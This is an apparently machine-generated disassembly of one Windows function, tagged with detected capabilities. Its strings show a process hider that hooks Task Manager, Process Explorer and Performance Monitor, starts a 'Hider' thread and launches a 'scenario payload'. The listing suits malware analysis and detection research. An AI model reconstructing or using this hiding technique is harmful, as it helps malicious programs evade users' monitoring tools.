Function at 0x140012230
Capabilities:
Accept command line arguments
Create thread

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x250
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov r8d, 0x104
lea rdx, [rsp + 0x130]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xc0
call fcn.14001b384
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x1400122bb
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xb8]
call fcn.140008a30
mov qword [rsp + 0x88], rax
jmp 0x1400122c7
mov qword [rsp + 0x88], 0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov qword [0x1400a4eb8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xe0], rax
mov rax, qword [0x1400a4eb8]
add rax, 0x68
lea rdx, [rsp + 0xe0]
mov rcx, rax
call fcn.140013830
mov ecx, 0x58
call fcn.14001b384
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x140012343
mov rcx, qword [rsp + 0x90]
call fcn.140009300
mov qword [rsp + 0x98], rax
jmp 0x14001234f
mov qword [rsp + 0x98], 0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov qword [0x1400a4eb0], rax
xor edx, edx
mov rcx, qword [0x1400a4eb0]
call fcn.140009690
movzx eax, al
test eax, eax
jne 0x1400123a5
lea r8, [rsp + 0x130]
lea rdx, str.Log:_s_failed_to_read_resources._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
xor eax, eax
jmp 0x140012ba2
mov rax, qword [0x1400a4eb0]
mov rcx, qword [rax + 0x20]
call fcn.140029244
mov rcx, qword [0x1400a4eb8]
mov qword [rcx + 0x80], rax
mov rax, qword [0x1400a4eb0]
mov rcx, qword [rax + 0x28]
call fcn.140029244
mov rcx, qword [0x1400a4eb8]
mov qword [rcx + 0x88], rax
mov rax, qword [0x1400a4eb0]
mov rcx, qword [rax + 0x38]
call fcn.140029244
mov rcx, qword [0x1400a4eb8]
mov qword [rcx + 0x90], rax
mov rcx, qword [0x1400a4eb8]
call fcn.140007740
lea rdx, str.Log:Started_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xc0]
lea r8, [rsp + 0x64]
lea rdx, str.filename
mov rcx, qword [0x1400a4eb0]
call fcn.1400099d0
movzx eax, al
test eax, eax
je 0x1400124be
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xc4]
lea r8, [rsp + 0x64]
lea rdx, str.fileversion
mov rcx, qword [0x1400a4eb0]
call fcn.1400099d0
movzx eax, al
test eax, eax
je 0x1400124be
mov r8, qword [rsp + 0xf0]
lea rdx, str.Log:filename:__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov r8, qword [rsp + 0xf8]
lea rdx, str.Log:fileversion__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
jmp 0x1400124d1
lea rdx, str.Log:Could_not_find_fileversion_and_filename_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14001251d
lea rdx, str.Log:_CommandLineToArgvW_failed_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
xor eax, eax
jmp 0x140012ba2
cmp dword [rsp + 0x60], 2
jge 0x140012551
lea rdx, str.Log:2_arguments_needed__x32Mutex_and_x32ProcessName._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rdx, [0x140047cf8]
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
xor eax, eax
jmp 0x140012ba2
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x58]
mov r8, qword [rcx + rax]
lea rdx, str.Log:argv_0____ls_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x58]
mov r8, qword [rcx + rax]
lea rdx, str.Log:argv_1____ls_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov ecx, 0x10
call fcn.14001b384
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x1400125cf
mov rdi, qword [rsp + 0x68]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xa0], rax
jmp 0x1400125db
mov qword [rsp + 0xa0], 0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x70], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rcx + rax]
lea rcx, [0x140047934]
call fcn.1400018c0
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rcx + rax]
lea rcx, [0x140047aec]
call fcn.1400018c0
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 8], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x70]
lea r8, [0x140013910]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400a4ec8], rax
mov qword [rsp + 0xa8], 0
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xc8]
lea r8, [rsp + 0xcc]
lea rdx, str.target_process_list
mov rcx, qword [0x1400a4eb0]
call fcn.1400099d0
movzx eax, al
test eax, eax
jne 0x1400126d7
lea rdx, str.Log:failed_to_get_target_process_list_from_arguments__using_default_targets_list.__Taskmgr.exe_procexp.exe_procexp64.exe_perfmon.exe__n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rcx, str.Taskmgr.exe_procexp.exe_procexp64.exe_perfmon.exe
call fcn.140001800
mov qword [rsp + 0x48], rax
jmp 0x1400126f0
mov rdx, qword [rsp + 0xa8]
lea rcx, [0x140047dd8]
call fcn.140001800
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd0]
lea r8, [rsp + 0xd4]
lea rdx, str.hook_type
mov rcx, qword [0x1400a4eb0]
call fcn.1400099d0
movzx eax, al
test eax, eax
jne 0x14001276e
lea rdx, str.Log:failed_to_get_HookType_from_arguments._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rdx, [0x140047e88]
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov rcx, qword [0x1400a4eb8]
call fcn.140007920
xor eax, eax
jmp 0x140012ba2
mov rdx, qword [rsp + 0xb0]
lea rcx, [0x140047e98]
call fcn.140001800
mov qword [rsp + 0x80], rax
mov r8, qword [rsp + 0x48]
lea rdx, str.Log:target_process_list___ls_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov r8, qword [rsp + 0x80]
lea rdx, str.Log:hook_type___ls_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov ecx, 0x104
call fcn.14001b3c8
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x50], rax
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.14001cb00
mov rcx, qword [rsp + 0x50]
call fcn.140013ce0
test eax, eax
je 0x140012ad4
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call fcn.1400176e0
test eax, eax
je 0x140012a77
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8b, 1
lea rdx, [0x140047ed8]
mov rcx, qword [0x1400a4eb8]
call fcn.140008530
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8b, 1
lea rdx, str.startprocessmonitor
mov rcx, qword [0x1400a4eb8]
call fcn.140008530
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140016300]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400a4ed8], rax
mov byte [rsp + 0x40], 0
lea rdx, str.Starting_waiting_for_processes_hook_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
call fcn.140012c30
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x40]
mov r8d, eax
lea rdx, str.Finished_waiting_for_processes_hook_value___d_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x140012a62
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.140013f10
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0xffffffff
je 0x140012a05
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
lea rcx, str._s___lu_
call fcn.1400018c0
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8b, 1
lea rdx, [0x140047f78]
mov rcx, qword [0x1400a4eb8]
call fcn.1400083a0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x108], rax
mov edx, 1
mov rcx, qword [rsp + 0x108]
call fcn.14001b3c0
mov qword [rsp + 0x78], 0
mov eax, dword [rsp + 0x44]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, eax
lea r8, [0x140013ac0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400a4ed0], rax
lea rdx, str.Log:Start_waiting_for_Hider_thread..._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov edx, 0xffffffff
mov rcx, qword [0x1400a4ed8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, str.Log:Hider_thread_finished._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
jmp 0x140012a60
lea rdx, str.Log:ExecuteFile_failed._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.startpayload
mov rcx, qword [0x1400a4eb8]
call fcn.1400083a0
lea rdx, [0x140048000]
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
jmp 0x140012a75
lea rdx, str.Log:Waiting_for_hook_indicator_file_timedout.._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
jmp 0x140012ad2
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140048040]
mov rcx, qword [0x1400a4eb8]
call fcn.140008530
lea rdx, str.Error:Failed_to_Prepare_Contents_for_the_hooking_dll._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rdx, [0x140048088]
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
jmp 0x140012b2f
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.prepare
mov rcx, qword [0x1400a4eb8]
call fcn.140008530
lea rdx, str.Error:Failed_to_Save_Scenario_Payload_To_Disk._n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rdx, str.Finished_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x110], rax
mov edx, 2
mov rcx, qword [rsp + 0x110]
call fcn.14001b3c0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x118], rax
mov edx, 2
mov rcx, qword [rsp + 0x118]
call fcn.14001b3c0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x120], rax
mov edx, 1
mov rcx, qword [rsp + 0x120]
call fcn.14001b3c0
call fcn.140013bd0
mov rcx, qword [0x1400a4eb8]
call fcn.140007920
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x250
pop rdi
ret